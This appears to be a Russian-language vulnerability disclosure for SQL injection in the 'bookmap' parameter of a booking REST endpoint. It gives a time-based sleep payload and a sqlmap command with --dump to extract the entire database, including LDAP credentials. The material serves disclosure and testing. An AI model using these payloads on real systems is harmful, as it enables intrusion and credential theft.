
Описание:
Обнаруженная уязвимость — SQL-инъекция. Уязвимым является параметр bookmap. При посещении страницы: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test мы получаем обычный JSON-ответ. Однако если добавить одинарную кавычку к значению параметра bookmap, мы получим сообщение об ошибке:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Теперь, если добавить две одинарные кавычки, мы получим обычный ответ без ошибки. Это подтверждает возможность SQL-инъекции. Чтобы действительно доказать SQL-инъекцию, мы добавляем следующий payload:
'-(select*from(select+sleep(2)+from+dual)a)--+
Страница «заснёт» на две секунды. Это подтверждает SQL-инъекцию.
Шаги воспроизведения:
Отправьте следующий payload для проверки уязвимости: '-(select*from(select+sleep(2)+from+dual)a)--+
Если сайт «заснул» на две секунды, выполните следующую команду sqlmap, чтобы выгрузить всю базу данных, включая учётные данные LDAP.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Отдельная благодарность iCaotix, который очень помог мне с настройкой окружения, а также с отладкой моего payload.
Обратите внимание на время ответа.
